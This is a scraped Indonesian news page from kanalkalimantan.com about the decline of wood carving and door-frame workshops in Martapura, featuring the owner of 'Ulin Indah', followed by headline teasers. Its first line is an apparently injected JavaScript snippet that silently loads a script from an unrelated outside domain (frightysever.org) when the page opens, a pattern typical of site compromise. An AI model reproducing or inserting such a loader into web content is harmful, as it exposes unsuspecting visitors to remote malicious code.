(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Seiring berakhirnya era kejayaan industri kayu di Kalimantan hingga tahun 2000-an, industri kusen dan ukiran juga terkena imbasnya. Kian sulitnya mendapatkan bahan baku, ditambah harga kayu ulin yang terus melangit, membuat sebagian banyak orang tak lagi membuat rumah berkonstrusi kayu. Tren rumah minimalis yang kian meninggalkan unsur kayu dan etnik, membuat usaha pembuatan ukiran kian terpuruk.
H Muhammad Aini, salah satu pemilik usaha pembuatan kusen dan ukiran ‘Ulin Indah’ di Martapura mengaku, kian hari pesanan pembuatan ukiran kian berkurang. Jika di era tahun 1990-an H Aini memiliki hingga 15 anak buah untuk memenuhi pesanan pelanggan hingga ke Jakarta, kini tak satupun pekerjanya yang masih bertahan.
Meski kian sepi pemesan, di bengkel pembuatan kusen miliknya, H Aini tetap menerima pembuatan ukiran. “Saat ini hanya ada satu tukang ukir yang masih sering saya gunakan jasanya. Tapi itu pun jika ada pesanan pembuatan ukiran,†kata H Aini.***
KANALKALIMANTAN.COM,KUALA KAPUAS - Dinas Perindustrian, Perdagangan, Koperasi, dan UMKM Kabupaten Kapuas menggelar rapat lanjutan penataan… Read More
KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur memberikan perhatian khusus terhadap penertiban pengelolaan Taman… Read More
KANALKALIMANTAN.COM KUALA KAPUAS - Pemerintah Kabupaten Kapuas menandatangani kesepakatan bersama dan perjanjian kerja sama dengan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU), H Sahrujani berikan apresiasi dan terima kasih… Read More
KANALKALIMANTAN.COM, SERANG - Menteri Komunikasi dan Digital (Menkomdigi) Meutya Hafid menegaskan bahwa kolaborasi strategis antara… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) terus melakukan langkah pemulihan lahan pertanian yang… Read More
This website uses cookies.